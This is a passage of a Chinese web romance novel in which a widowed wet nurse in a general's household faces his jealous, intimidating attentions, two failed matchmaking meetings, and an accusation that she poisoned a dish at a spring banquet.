楚烬已经进了里间,正站在那儿解腰带。 那宽阔的肩背随着动作起伏,肌肉线条硬朗分明。 见她进来,他手上动作顿了顿,随即若无其事地继续。 “过来。” 罗苒硬着头皮上前,接过他褪下的外袍和中衣。 楚烬精壮的上身整个裸露出来。 和昨晚水下若隐若现不一样,今日是实打实的在眼前…… 肩膀宽平,胸膛厚实,腰间却劲瘦,肌肉线条流畅优美,腹肌块垒分明,人鱼线深刻入里,胳膊上的肌肉看起来力量感十足,像是能轻易把人拎起来…… 罗苒努力让自己心无杂念,可还是不自觉地红了脸。 只能专心拿着帕子去擦那还有水渍的腹肌。 打湿的帕子有些凉,刚碰到他的小腹,楚烬轻轻吸了口气。 “嘶……” 罗苒手一抖,目光落在那处。 结实的小腹往下,人鱼线隐入裤腰,下腹青筋隐隐鼓起,在麦色的皮肤下格外显眼。 她眼睛都看直了。 一个乡下来的妇道人家,何时见过这种场面? 罗苒下意识咽了口唾沫。 意识到自己又差点沉迷男色,她慌忙稳住心神,低头继续擦,动作却僵硬得不像是自己的手。 “昨夜怎没来?” 楚烬忽然开口。 声音沉稳,听不出太多情绪。 罗苒手上一顿,下意识抬头,正对上他那张面无表情的脸。 眉眼沉峻,表情依旧冷冽,根本看不出对自己有什么其他想法的样子。 她心里咯噔一下。 这是在试探她? 定是见她昨晚跌进浴桶,今日又在这儿擦拭,怕她真跟那些想要爬床的丫鬟异样存了什么勾引攀附的心思。 若是被他落实,搞不好会被直接撵出府去。 这样想着罗苒后背一凉,手上动作都僵了僵。 慌忙稳住心神,低着脑袋继续擦,嘴里忙不迭地解释。 “大爷,昨晚真是奴婢不小心,不是故意的……” 她声音软软的,带着点小心翼翼,生怕说错一个字。 “楚家收留我和小玥,奴婢心里感激得很,哪敢对您有什么非分之想……” 楚烬垂眼看着她。 那小脑袋低着,露出一截白生生的后颈,睫毛一颤一颤的,说话时声音都打着抖,像是生怕跟他沾上一点关系。 他眸色沉了沉。 “还倒挺有自知之明。” 声音比方才低了几度,听不出是夸她还是损她。 罗苒只觉得他这语气怪怪的,但也没心思细想,只当他是满意了,赶紧点头。 “是的是的,奴婢知道自己什么身份,绝不敢胡乱攀附。” “奴婢对大爷,只当是敬重的主子,绝没有别的心思,大爷您只管放心……” 说着说着,声音越来越小,尾音糯糯地吞进喉咙里。 手上的速度却半点不减,胡乱擦了几下就收了帕子往后退。 “奴婢去给大爷拿干净衣裳。” 丢下这句,她几乎是逃出去的。 出了门,罗苒脚步不停,一路小跑,直到拐过回廊,确定楚烬看不见了,才扶着墙大口喘气。 吓死了。 方才他那语气,听着就不对劲。 要是自己反应慢点,说不定就被当成那些想攀高枝的了。 罗苒拍拍胸口,稳了稳神,往正房那边去。 楚烬屋里专门有人在外候着,她不好直接进去。 就在门口站了站,正好瞧见个眼熟的丫头端着茶盘出来。 “这位姐姐。” 罗苒忙上前,陪着笑。 “大爷要换衣裳,在衍哥儿院里,劳烦姐姐帮忙送一趟。” 那丫头看了她一眼,点点头,转身去拿了干净衣袍。 罗苒看着那丫头往里走,这才松口气。 衣裳是别人送的,她可没再往前凑。 这下楚烬总不会再误会什么了吧…… 这样想着,罗苒脚步轻快地回了衍哥儿屋。 自那之后,罗苒继续在衍哥儿院里待着,日子倒也清静。 楚烬过来看衍哥儿,罗苒便规规矩矩行礼回话,低着头不看不多说。 他也冷淡淡的,像那晚浴室里的事从没发生过。 想来是误会真的解开了。 转眼到了年关。 府里开始张罗过年,到处挂了红灯笼,廊下堆着新炭,连下人屋里都添了新褥子。 跟着商队南下的楚乘风风风火火地回来了。 回来第一件事,就是兴致冲冲地来找罗苒。 罗苒正端着碗给小玥喂蛋羹,一抬头看见来人,心里咯噔一下,下意识往后退了半步。 楚乘风见着她那副躲闪的样子,脚步顿了顿,脸上的笑淡了些。 “你别怕。” 他站在不远处,没再往前走。 “我知道之前是我莽撞,让你受了委屈,心里一直过意不去。” 罗苒低着头,没吭声。 楚乘风叹了口气,声音放轻了。 “过完年我还得去南方,总觉得亏欠你。这次回来没别的意思……就是从南边带了些娃娃玩的小东西,小玥应该喜欢……” 他扬了扬手里的包袱。 “不值几个钱,我给相熟的都带了,这些就是顺带的,你别多想。” 罗苒抬眼看了看他,见他神色诚恳,不像作假。 犹豫了一下,还是上前接过,低低道了声谢。 楚乘风笑了笑,没再多待,转身走了。 小玥对那些小玩意喜欢得紧。 拨浪鼓摇得叮当响,连午觉都不肯睡。 下午罗苒去给衍哥儿喂奶,顺手带了几样过去。 第13章 你这小嘴说的话,真的作数? 两个小人儿并排躺在榻上,你摇一下我摇一下,玩得热闹。 衍哥儿玩累了,拱到她怀里要吃奶。 罗苒撩开衣襟,一边喂他,一边轻轻拍着小玥。 屋里炭火烧得足,暖烘烘的,两个孩子吃饱喝足,渐渐安静下来。 衍哥儿和小玥并排躺在她身侧,睡得香甜。 罗苒也迷迷糊糊的睡了过去。 门被人从外面推开。 罗苒睡得沉,没听见。 楚烬站在门口,目光落在榻上。 她侧躺着,怀里搂着两个孩子,睡得安稳。 衣襟还没来得及系,就那么敞着一点,露出一截锁骨,皮肤白得晃眼。 锁骨下方,有一颗小小的红痣,殷红一点,嵌在那片白里,格外惹眼。 楚烬眸光顿了顿。 往前走了两步,榻上的人像是察觉到什么,睫毛颤了颤,睁开眼睛。 罗苒愣了一瞬,看清来人,慌忙坐起来,手忙脚乱地去拢衣襟。 “大爷恕罪,奴婢睡着了……” 她怕吵醒两个孩子,压低声音告罪,声音带着刚醒的低哑。 楚烬抬手,示意她不必。 目光落在榻边的小几上。 那里堆着几个崭新的小玩意,一看就是从外头带回来的。 楚乘风刚回来,罗苒这儿就多了这些。 想也知道是谁送的。 楚烬目光沉了沉。 “哪来的?” 罗苒顺着他的视线看去,老老实实答。 “是二爷回来时从南边捎的。” 楚烬没说话。 罗苒低着头,却能感觉到那道目光落在自己身上,冷冷的,有些迫人。 片刻后,他开口,声音比方才低了几分。 “他一回来就来找你?” 罗苒心里一紧,忙道。 “二爷是来看小玥的,顺手带了些……” 楚烬像是轻笑了一下,声音透着丝丝凉意。 “他自己都没个孩子,倒惦记起别人家的了?” 罗苒不知该怎么接话,只能抿着嘴不吭声。 “罗苒。” 楚烬似是咬着后牙槽有些狠恶的喊她名字。 罗苒下意识抬眼,对上那双深不见底的眼睛。 那眼神黑沉沉的,锐利凛冽,只是被瞅着都心里打颤。 “本将军看着很好糊弄?” 楚烬往前走了一步,高大的身影罩下来,把她整个人拢在阴影里。 “之前怎么说的?对二爷没想法?” “他一回来给你送东西,你倒是收得痛快……” 他俯下身,那张棱角分明的脸凑到她跟前,身上滚烫的热息扑过来,带着男人特有的强硬气势。 “怎么?带着我的孩子,心里还想着别人?” 罗苒被他逼得往后缩,后背抵上榻沿,退无可退。 她慌得眼泪都快出来了,生怕他又误会,拼命摇头。 “没有,奴婢没有……奴婢只想好好照顾衍哥儿,哪有别的心思……” 话没说完,脸颊忽然被人捏住。 力道不轻,捏得她脸颊都变了形,嘴唇被迫微微张开,下巴被抬得高高的。 楚烬就这么捏着她的脸,俯下身,居高临下地看她,离得很近。 近到她能看清他眼底那抹暗沉沉的光,近到他的呼吸都扑在她脸上。 “真不安分。” 楚烬的声音依旧冷飕飕的。 指腹在她唇上重重揉了两下,揉得她嘴唇发麻,然后往下一压,硬是塞进了她嘴里。 “你这小嘴说的话,真的作数?” 罗苒僵着身体,看着面前男人那俊朗粗狂的脸上狠厉凛然的神情,捏着她脸颊的手力道大得吓人,让她动弹不得。 她眼眶一下子就红了。 心里怕得要命,却不敢躲,只能拼命点头,含着他的指头含含糊糊地应着, “作,作数的……奴婢不敢骗大爷……” 泪水在眼眶里打转,她呜咽着继续含糊解释, “真的没有想攀附二爷……之前跟大爷说的……也都是真心话……二爷说给其他下人也带了礼物……这些只是些小玩意……不值钱奴婢才收的……” 罗苒一颗心都放在凶恶的楚烬身上,根本没空细想这动作有多狎昵。 只觉得眼前的楚烬又像换了个人,这个凶恶阴沉的模样,让人只想求饶。 楚烬看着她泛红的眼眶,看着那张慌张惊惧的小脸,眼神暗了暗。 “真是这样?” 罗苒慌忙点头,泪眼婆娑地看着他。 “是的是的……” 指上的力道松了松。 拇指从她口中退出来,却还若有似无地压在她唇边,轻轻摩挲着那被揉得泛红发肿的唇瓣。 楚烬又阴森森地开口道, “我方才还在想,既然你对二爷有意,便干脆直接将你送到二房二太太那去伺候……” 罗苒惊恐地瞪大眼。 不由回想起崔氏那张冷漠刻薄的脸,还有那间偏房,那两个粗壮的婆子,那被扒了衣服评头论足屈辱…… 她太害怕了,竟也顾不上别的,伸手就去拉楚烬的袖子,攥得紧紧的,眼眶里的泪终于滚了下来。 “大爷……” 她声音发颤,带着哭腔, “我真的没那个想法的……您不要把我送过去……” 她抓着他的袖子,泪水糊了满脸,哭的实在可怜。 楚烬垂眼看她。 看着那双被泪水浸透的眼睛和那张又怕又急的小脸。 他眼底的暗沉渐渐散去,取而代之的,是一丝不易察觉的满意。 拇指在她唇上轻轻蹭了蹭,蹭掉那一点濡湿。 “记住你说的话。” 他松开手,直起身,不再看罗苒那沾着泪的脸。 “把眼泪擦了。” “让别人看着,还以为我对你做了什么。” 说罢,转身离开。 那道高大的背影很快消失在门口。 被楚烬那样凶了一通,罗苒心里头委屈得不行。 她怎么都想不明白,那位大爷为何总对她忽冷忽热阴阳怪气的。 对着旁人都是一副冷冰冰不爱搭理的模样,偏偏到了她这儿,就跟变了个人似的,眼神凶得能吃人。 晚上徐曼羽拎着几匹布料来看她,一进门就瞅见她眼眶红红的,当下把手里的东西一撂,凑过来问, “这是怎么了?谁欺负你了?” 罗苒憋了一天的委屈总算找到了出口,抽抽搭搭地把白日里楚烬又误会她勾引何乘风的事说了。 第14章 议亲 徐曼羽听完,叹了口气,开导道, “那也没办法,寡妇门前是非多,你又偏生长得这副娇娇嫩嫩的模样,搁谁眼里都容易想歪了。楚大爷那样的人,战场上杀伐果断的,眼里揉不得沙子,会对你有误解也正常。” 罗苒一听这话,眼泪又要往下掉,“那怎么办?可我真的没有那种想法……” 她攥着帕子,声音打着颤,一副后怕的样子, “你是没见他凶我的样子,我一想起来就害怕,腿都发软……” “他警告我离二爷远一些,可我一个奶娘,也没办法拦着主子不让他来……若是每次碰到二爷,他都要误会,那可怎么办……” 徐曼羽看着罗苒委屈的模样,不由叹了口气,说道, “如今也没办法,等你以后有了男人,大爷就不会对你有所顾虑了。” 这么一提,徐曼羽到是觉得是个不错的主意, “不如……我给你介绍个稳妥的男人吧,待成了亲,有了主儿,谁还能往那方面想?” 罗苒下意识就要拒绝, “这怎么能行……我如今吃饭求生都艰难,哪还有这种心思?再说了,建功去世都还没过一年……” 一提侯建功,徐曼羽脸色就沉了下来,“你都被他们侯家赶出来了,还提他做什么?” 她越说越上火,“当年那侯家来咱家提亲的时候,话说得多好听?什么把你当亲闺女疼,什么一辈子对你好。结果侯建功一没,他们见你生的是闺女,立马就把你赶出了家门,生怕你多吃他们家一口饭!那不是畜生是什么?你还顾虑他们家做什么?” 罗苒被她说得哑口无言。 徐曼羽是个风风火火的性子,说干就干,当下就拍板要给罗苒张罗起来。 徐曼羽是个风风火火的性子,说干就干。 没过几日,还真就给了罗苒消息。 是城里开酒楼的徐老板,丧妻五年,膝下无子,据说为人憨厚老实,铺面也有两间,条件算得上殷实。 徐曼羽托人打听了清楚,这才放心地把事情张罗起来。 这日午后,徐曼羽派了身边的丫鬟过来,把徐老板的门户帖送到罗苒手里。 罗苒正在正厅哄衍哥儿睡觉,小家伙刚吃完奶,迷迷糊糊地窝在她怀里。 她随手把那帖子往旁边的桌上一放,先顾着在里屋把衍哥儿哄踏实了。 等衍哥儿睡熟,罗苒出了里屋。 才发现楚烬不知何时来了,正大喇喇地坐在正厅的太师椅上。 两条长腿随意伸着,宽厚的肩背靠着椅背,手里拿着那张门户帖,正垂着眼看。 浓眉微皱,好似跟看什么军情重报似的。 虽说相亲相看是再寻常不过的事,可这东西被主子这样明晃晃的拿在手里翻看,还是让罗苒觉得有些许窘迫。 脸也不由红了起来。 楚烬像是察觉到她的目光,抬眼看她那副羞窘尴尬的模样,眉梢微微挑起,扬了扬手里的帖子。 “你的?” 声音沉冷,听不出什么情绪。 罗苒有些不好意思,但还是红着脸点了点头。 她走过去,伸手想去拿回来…… 楚烬手一抬,虚晃一下,她扑了个空。 “想找男人了?” 看着面前的女人,楚烬语气里带着点说不清的意味。 “前段时间不还口口声声说只想好好带大孩子,没这个念头?” 罗苒被他这话讽得脸更烫了,多少有些难堪,却还是认真的小声回道, “虽是那么打算……但如若碰到合适的,也是可以试着相处看看……” 楚烬又扫了一眼那帖子上的字,嘴角扯了扯。 “膳食堂的徐老板……” 他抬眼看着她,眼底神情锐利,带着点审视。 “你觉得合适?” 罗苒被楚烬看得心里发毛。 虽说他此时看起来像是在笑,可那笑意却不达眼底。 帖子送来时她只匆匆瞥了一眼,依稀记得这徐老板是帝都本地人,丧妻五年,条件好似也不错…… 又是徐曼羽介绍的,总归差不了。 她便实话实说道, “看条件应该还是可以的……” 楚烬又笑了。 那笑声很轻,却让她后背莫名一紧。 “这膳食堂的老板,我有点印象。” 他慢悠悠开口,目光还落在她脸上, “是不是在你眼里,只要条件好,就算合适?” 罗苒不太懂楚烬话中意思。 如若能找到合心意的,又正巧条件不错,那自然是再好不过的事。 可她看着楚烬那张冷脸,看着他嘴角那抹不咸不淡的笑,到嘴边的话又咽了回去。 她垂下眼,没吭声。 她张了张嘴,不知道该说什么。 楚烬没再说话,起了身。 高挑的身躯靠了过来,走到她面前,抬手把那帖子递换给她。 罗苒伸手去接…… 他却在前一刻松了手。 帖子飘落,掉在地上。 罗苒愣愣地看着地上那张纸,还没反应过来,楚烬已经越过她,大步往外走了。 她弯下腰,慢慢把帖子捡起来。 心里乱糟糟的夹杂着一丝莫名的委屈。 那个男人又怎么了? 阴阳怪气的…… 自己相看成功,嫁了人,他不就不用担心自己再试图攀高枝想进楚家的门了吗? 这样如了他的意,不是更好吗? 到了约定的时辰,罗苒往后门去。 徐曼羽说好了,让她先跟人见一面,说说话,若是合眼缘再往下谈。 后门外头有条僻静的小巷,她按着时辰到了地方,远远就瞧见一个人站在那儿。 罗苒深吸一口气,慢慢走近。 待那人转过身来,罗枝脚步猛地顿住。 眼前这人,头发花白,脸上皱纹横生,看着少说也有六十多了。 那眼神落在她身上,上上下下地打量,跟看什么物件似的,直勾勾的,让人浑身发毛。 罗苒脑子里嗡的一声。 门户帖上没写年龄,只说丧妻五年,条件殷实。 她以为顶多四十出头…… “你就是罗娘子吧?” 那徐老板笑着往前走了一步,露出几颗发黄的牙, “比想象中的还水灵,好,好……” 罗苒下意识往后退,心里又慌又怕。 “徐,徐老板,这……我……” 她想说点什么,可舌头像打了结。 那徐老板却越走越近,眼睛直勾勾地盯着她。 第15章 你娘要是跟你一样讨人喜欢就好了 “别怕,我就是看看你,说说话……毕竟很快我们就是一家人了……” 他伸手作势要来拉她。 罗苒吓得连连后退。 就在这时,一只手从旁边伸过来,挡在了她身前。 “这位大伯,你这是在做什么?” 声音清朗,带着点北方口音。 罗苒一愣,抬眼看去。 是个年轻男子,身量修长,面容清俊,穿着一身洗得发白的青衫。 她认得他。 是楚家老祖宗的表侄,从北方老家来的,叫裴济,来京城赶考的,暂时借住在楚家。 前几日在府里见过一面,话不多,看着是个清雅正直的人。 徐老板被他挡了一下,脸色不太好看, “你谁啊?管什么闲事?” 裴济没理他,侧过身看向罗苒,目光温和。 “罗娘子,府里正找你呢,说衍哥儿醒了闹着要吃奶。” 罗苒愣了一瞬,反应过来,赶紧点头。 “好,好,我这就回去……” 她绕过那徐老板,几乎是逃也似的往府里走。 身后还传来徐老板不满的声音,但她已经顾不上了。 进了后门,拐过回廊,确定那人没跟上来,罗苒才扶着墙喘了口气。 裴济跟在后面,不远不近地站着,没有走近。 罗苒缓过神来,转身看向他,眼眶还有些红。 “多谢裴公子……” 她声音轻轻的,带着点劫后余生的庆幸。 裴济摆了摆手,早就看出点门道,笑了笑。 “举手之劳,那人不像是正经说亲的,罗娘子往后要多留个心眼。” 说完,他点了点头,便转身往自己院子方向去了。 罗苒去相看的时候,把小玥暂时放在徐曼羽那儿。 回来接孩子时,她把刚才的事跟徐曼羽说了。 徐曼羽一听,脸都白了,恨不得扇自己两个嘴巴子。 “都怪我,光顾着打听他家境殷实,竟疏忽了问年龄!” 她气得直跺脚,“那老媒婆真缺德,为了钱,这种事都干得出来!” 罗苒见她这样,只能拉着徐曼羽的手,轻声劝, “表姐,我看这事就算了吧,还是等小玥大一些再说吧……” 她本就觉得不妥,这样一来更是打了退堂鼓。 可徐曼羽不听,拍着胸脯保证, “你放心,这回我一定给你找个靠谱的,我亲自去打听,非得把人祖宗八代都问清楚了不可……” 罗苒张了张嘴,想说什么,到底没说出口。 眼瞅着快到衍哥儿喂奶的时辰,她抱着小玥,往大房那边走。 刚拐过回廊,迎面就撞上一行人。 楚烬从军营回来了。 他一身玄色劲装,肩上还带着风尘,宽肩窄腰地走在前头,身后跟着几个亲卫。 那气势,隔着老远都能感觉到。 罗苒脚步顿了顿,垂下眼,抱着小玥往路边让了让。 楚烬却摆了摆手。 身后那几个亲卫会意,躬了躬身,先行退下了。 罗苒低着头,能感觉到那道高大的身影停在自己跟前。 头顶传来他的声音,带着点漫不经心的调子。 “怎么?看完人了?” 罗苒没吭声,只把头埋得更低。 楚烬低头看她,瞧着她那张丧气的小脸,嘴角微微勾起。 慢悠悠开口, “看样子,是不太合适?” 罗苒嘴抿的更紧了,不用抬头都能感觉到那幸灾乐祸的笑。 果然这男人早就知道。 知道那徐老板的岁数。 可他不说,就那么看着她拿着帖子,傻乎乎地去赴约。 又或者在他眼里,她就是那种为了钱,可以委身六十多岁老头的人。 罗苒虽然性子软,可也不是没有脾气。 她抿着嘴,鼻子有些发酸,却硬生生把那股泪意憋了回去。 堂堂镇国将军,威风凛凛,百姓敬畏。 谁能想到,竟是这样恶劣的人? 把她当笑话看,看她出丑。 他倒是心情不错。 罗苒抱着小玥的手紧了紧。 心中有气,但她唯一能做的,就是抿着嘴,不理他。 楚烬见她这副模样,倒也没恼。 怀里的小玥这会儿醒了,睁着圆溜溜的眼睛,瞪着楚烬看。 小家伙认得他,咧嘴就笑,黑黝黝的眼睛弯成月牙。 楚烬垂眼看了看那小丫头,抬手宽大的手掌在她毛茸茸的头发上轻轻揉了揉。 他说,“你娘要是跟你一样讨人喜欢就好了。” 罗苒听了,抿着的嘴又紧了几分。 徐曼羽又给罗苒找了一门亲事。 这回她拍着胸脯保证,说打听清楚了,绝对靠谱。 是个木匠,比罗苒还小一岁,手艺人,条件一般,但人家是头婚。 因为无父无母,自己攒钱过日子,这才把亲事耽误了。 罗苒心里还是有些打鼓。 上回那事,想起来还后怕。 可徐曼羽再三劝说,又说这回相看的地方不去那偏门后巷。 就约在楚家大门外的偏门边上,人来人往的,总不会再出岔子。 罗苒想了想,还是去了。 人是见着了,确实是年轻的,看着也就二十出头。 就是这个头…… 罗苒偷偷比了比,好像比自己还矮上三分。 她心里暗暗劝自己:个头不能当饭吃,最重要的是人品,至少聊两句看看。 那木匠见她来了,眼睛亮了亮,有些局促地搓了搓手,脸上带着憨厚的笑,正要开口打招呼…… 身后忽然传来一声马嘶。 那声音又尖又响,像是贴着耳朵炸开的。 木匠一回头,就看见一匹高头大马直直朝他冲过来,硕大的前蹄就在眼前。 这一蹄子要是踏下来,非死即残。 他腿一软,当场跌坐在地。 裤裆那里,湿了一片。 马蹄在他身侧落下,堪堪擦着他的衣摆。 马背上,楚烬勒着缰绳,居高临下地看着底下那人。 他今日一身劲装,像是要出门,眉眼间还带着凌厉漠然的气势。 目光从那木匠身上扫过,又落在不远处站着的罗苒身上,嘴角微微扯了扯。 “什么东西,”他声音沉沉的,带着点漫不经心的嘲弄, “也敢往我跟前凑。” 那木匠又臊又怕,脸涨得通红,爬起来就跑,头都没敢回。 第16章 不是想找男人吗? 罗苒站在原地,看着那人跌跌撞撞跑远的背影,又看了看马背上的楚烬。 楚烬也看着她。 那眼神,沉沉的,像盯上猎物的狼,带着点说不清的意味。 他翻身下马,朝她走过来。 罗苒心里一紧,往后退了一步。 楚烬步子大,两步就迈到她跟前,居高临下地看着她。 也不说话,就那么看着。 罗苒敢怒不敢言,又被他那眼神看得发毛,想着还是先回府再说。 刚迈出一步,手腕猛地一紧。 是楚烬的大手。 他开口,声音沉得吓人, “想找男人是吧?行。” 罗苒还没反应过来,整个人已经被他提了起来。 他一只手箍着她的腰,几步跨到马前,直接把她扔上了马背。 “楚烬!” 她不稳,惊呼出声。 还没坐稳,他已经翻身上来,把她整个人圈在怀里,扬鞭便走。 风在耳边呼啸,罗苒吓得死死抓着马鞍,连话都说不出来。 等她回过神来,已经被带到了军营。 楚烬勒住马,一把把她从马上拎下来, 罗苒脚刚落地,就被眼前的景象震住了。 校场上,黑压压的全是男人。 有的在练武,有的在操练,有的光着膀子举石锁。 一个个身强力壮,粗犷彪悍,汗水在阳光下泛着光,汗味混着尘土味扑面而来。 楚烬站在她身侧,嘴角噙着点冷笑。 “不是想找男人吗?” 他声音不大,却清清楚楚落进她耳朵里。 “这军营里,成千上万的男人,你随便挑。” 罗苒脸色瞬间白了。 那些将士们听见动静,齐刷刷地看过来,目光落在这个白嫩漂亮跟这地方格格不入的小娘子身上。 她今日穿着寻常的衣裙,头发被颠簸的有些散乱,白嫩的脸被风吹的有些泛红,黑黝黝的眼睛里带着不安的惶恐。 站在一群糙汉面前,跟只误入狼群的小羊羔似的。 那些眼神直勾勾的,带着打量和浓重的兴趣。 罗苒哪里见过这种阵仗,吓得腿都软了。 她下意识往楚烬身边靠了靠,她像是抓住救命稻草似的,伸手攥住他的袖子。 “大,大爷……” 她声音发颤,带着哭腔求饶, “您别……” 楚烬低头看她。 嘴都吓的失了血色,眼眶鼻尖都红了,期期艾艾的样子下一秒好似就要落泪了。 攥着他袖子的手指节泛白,整个人往他身边缩,像是受了惊的兔子,恨不得钻进他怀里。 他眼底那点火气,忽然就消了大半。 他刻意压着声音,带着冷冷的警告意味, “以后还找不找那些乱七八糟的东西?” 罗苒拼命摇头,泪盈盈地望着他。 “不找了不找了……” “能安心带好衍哥儿?” “嗯嗯……” 楚烬看着她那副又怕又乖的模样,总算满意了。 他抬手示意,唤来一个亲卫。 那亲卫上前一步。 罗苒看着那张凶神恶煞的脸,又看了看周围那些还在盯着她的将士,吓得往楚烬身边又缩了缩。 白着脸攥着楚烬的袖子没撒手,声音软得跟小猫似的。 “不要……我不要自己回去……” 楚烬低头看她那攥得紧紧的小爪子。 那眼底,像是看到了什么有意思的东西。 他唇角微微弯了弯。 “行了。” 他摆了摆手,让那亲卫退下。 楚烬把她带进营帐,让亲卫端了茶水点心,把她安顿在里头。 “老实待着,等我忙完。” 说完,便转身出去了。 罗苒缩在营帐里,坐立不安,外头时不时传来操练的喊声,还有兵器碰撞的声音,听得她心惊肉跳。 她偷偷掀开帐帘一角,往外看去。 外头校场上,楚烬正在跟人比武。 他脱了外袍,只着一身劲装,露出精壮结实的手臂。 那身板,那力道,一招一式都带着狠劲,像是能把人撕碎。 每一拳出去都带着风,每一下动作都充满力量感,像头蓄势待发的豹子。 周围的人围成一圈,叫好声此起彼伏。 罗苒看着那道身影,一时间竟忘了害怕。 就那样看了好一会儿,心里那些乱糟糟的思绪慢慢平复了下来。 楚烬对衍哥儿有多看重,她是知道的。 那孩子是他亲信的遗孤,他收做养子,隔三差五就来看,嘴上不说,态度和眼神是骗不了人的。 她身为奶娘,本就应该专心照料好小主子。 如今倒好,两次相看男人都被他撞见。 换了哪个主子都会觉得这奶娘不安分,恼怒也正常。 衍哥儿和小玥都还小,正是离不开人的时候。 当初她走投无路,是楚家收留了她,给了安稳日子。 这份恩情不该忘的,她却净想些有的没的。 冷静下来想想,这个节骨眼上确实不合适相看人家,是自己太鲁莽了。 至于楚烬总会误解她这方面…… 还是走一步算一步吧。 但愿能日久见人心。 校场上又是一阵叫好,楚烬把对手撂倒在地,拍拍手站起来,朝她这边看了一眼。 罗苒慌忙垂下眼。 心口竟莫名漏跳了一拍。 等楚烬回来,天已经擦黑。 他不知从哪弄了辆小马车,把罗苒塞进去,一路晃晃悠悠回了府。 刚进大房院子,就听见衍哥儿撕心裂肺的哭声。 罗苒心里一紧,赶紧跑进屋。 衍哥儿在李婆婆怀里,哭得小脸通红,嗓子都快哑了。 一看见罗苒,小身子就往她那边挣,手伸得长长的,要她抱。 小玥也在旁边哭,眼泪糊了一脸,张着小手要娘。 罗苒手忙脚乱地把两个孩子都搂进怀里。 抱了这个那个哭,抱了那个这个嚎,两个小人儿跟比赛似的,一个比一个嗓门大。 楚烬站在院门口,看着这一幕。 眉头微皱。 出去也就半日,就嚎成这样。 被这俩崽子缠着,往后什么事都做不了。 他看了片刻,开口。 “郭管家。” 郭管家小跑着过来。 “再招个奶妈。” 郭管家看了眼屋里手忙脚乱的罗苒,又看了眼面色不显的主子。 慌忙应了声。 管家的速度很快。 隔了一日,就把新奶娘带到了罗苒面前。 是个年轻姑娘,看着也就十七八的模样,模样清秀,身段纤细。 罗苒瞧着她,怎么瞧也不像生过孩子的样子。 第17章 你还不认罪? 后来才知道,这姑娘也是个可怜人。 她叫姚宛儿,父亲烂赌,欠了一屁股债。 见女儿有几分姿色,动了歪心,要把她卖到青楼去。 姚宛儿不愿当妓,走投无路之下,不知从哪儿听来的法子,服了能产乳的药,孤注一掷地来了楚府应征奶娘。 罗苒听完,心里头酸酸的。 都是无依无靠的人,她懂那种走投无路的滋味。 往后几日,罗苒对姚宛儿便格外照顾。 教她怎么抱孩子,怎么喂奶,怎么拍嗝。 姚宛儿话不多,干活却利索,学得也快。 两人轮着来,罗苒一下子清闲下来。 衍哥儿有人喂,小玥也有人帮忙看着。 可她身在楚府做下人,拿着府里发的月钱,自然没有白闲着的道理。 管家便安排不当值的奶娘打扫主院,活不重,权当消磨时光。 转眼开春回暖,二太太特意办了场赏花宴。 明面上是邀亲友赏春,实则是为二房、三房到了议婚年纪的两位小姐楚晓晴与楚时安相看人家。 前厅宴席人手紧缺,正在院子里打扫的罗苒,临时被调去厨房搭手。 一直忙到午后,宾客渐散,厨下才算松快下来。 罗苒刚歇了口气,正想去衍哥儿那边看看他和小玥。 谁知院外忽然闯来几个仆妇,气势汹汹地将她一把叫住,径直押往主院前厅。 待她赶到时,宾客早已散尽,厅内却坐满了二房与三房的女眷。 人人面色紧绷沉郁,气氛压抑得吓人。 二太太崔氏端坐上首,身边坐着二房楚晓晴和楚秋棠两个小姐。 三太太钟氏则带着三个女儿坐在另一侧,楚时安和双胞胎女儿楚窈楚窕挨在一处。 楚晓晴正伏在崔氏身上哭,妆都花了,脂粉糊了一脸。 罗苒被人带进来,一进门就察觉到气氛不对,心里隐隐生出不好的预感。 果然,还没站稳,崔氏就指着她斥道, “又是你这不安分的贱人,给我跪下!” 罗苒腿一软,跪了下去。 之前那些事让她对崔氏有种本能的惧怕,声音都带着颤。 “奴婢不知做错何事,惹二太太如此动怒……” 崔氏冷哼一声, “你还装蒜?今日那银丝翠绿凉菜,可是你着手做的?” 罗苒点头,“是奴婢做的。” “那你还不认罪?” 崔氏声音拔高, “你暗中下毒,害得晓晴在宴会上当众呕吐,颜面尽失,成了满府宾客的笑柄!” 罗苒性子素来沉静,却也不是能任人污蔑的,当即低声辩解道, “太太明鉴,奴婢入府还不足两月,与晓晴小姐素未打过几次交道,无冤无仇,根本没有下毒的理由……” 楚晓晴从崔氏怀里抬起头,眼睛哭得通红,咬着牙道, “定是有人指使你的!” 她的目光阴恻恻地扫向楚时安,伸手指着, “定是你!我们向来不对付!” 楚晓晴和楚时安年纪相仿,从小到大没少被人放在一处比较。 楚晓晴越说越激动, “你嫉妒我父亲经商,家里殷实,穿金戴银,吃穿用度都比你阔绰!” “这次赏花宴武安侯家的齐二公子也在,你就是也看中了他,才故意联合这贱人对我下毒,让我在他面前出丑,你好趁机……” “你瞎说什么?” 楚时安脸色顿时变得十分难看。 三太太钟氏也坐不住了,拉着女儿的手,冷着脸回击, “我们三房是不如二房境况优渥,可我们时安容貌端正,便是不穿金戴银,也比某些人强上数倍。” “我倒是听说,有人为了好看,提前两个月喝着减肥美容的汤药,如今自己出了岔子,反倒想拉我们时安垫背,扣上陷害姊妹的罪名?我告诉你,休想!” 崔氏被钟氏阴阳怪气的话怼得脸色铁青,转而将怒火全撒在罗苒身上, “我再问你一遍,到底是谁指使你的?” 罗苒摇头, “没有人指使奴婢,奴婢真的没有下毒。” “那晓晴吃了你拌的凉菜就出事了,你怎么解释?” 罗苒强迫自己冷静下来,脑子飞快地转着。 厨房那么多双手,从菜本身到制作过程,再到送餐途中,哪一环都有可能出问题。 她定了定神,开口分析道, “太太,厨房人多手杂,从食材、制作到送餐,都有可能被人做手脚,太太认定是制作这道菜的奴婢……那未免太武断了一些……” 话没说完,外面一阵急促的脚步声。 是得了消息匆匆赶来的徐曼羽,一进门就跪下了,替罗苒求情, “二太太、三太太,罗苒是我表妹,她的人品我清楚,胆子小,做事谨慎,那种下毒害主的事定然不敢做,请太太们明鉴……” 崔氏一看见她,脸色更难看了。 她冷笑一声,目光刀子似的剜过来, “对了,我倒忘了,这贱人是你表妹,还敢说没有理由?” 她指着徐曼羽,声音尖利, “这不就是理由!就是你这小贱人平日怨恨我管教你,故意指使你表妹加害晓晴!” 徐曼羽脸色一白,急忙磕头,额头磕在地砖上,咚咚作响。 “太太明鉴,妾身没有,给妾身十个胆子妾身也不敢……” “没有?” 崔氏打断她,一副认定了的模样,冷哼道, “如今人赃并获,你狡辩也无用!你们两个贱婢做出这等恶毒事,实在可恶!来人!把这两个贱婢拖出去发卖了!” 两个粗使婆子应声上前。 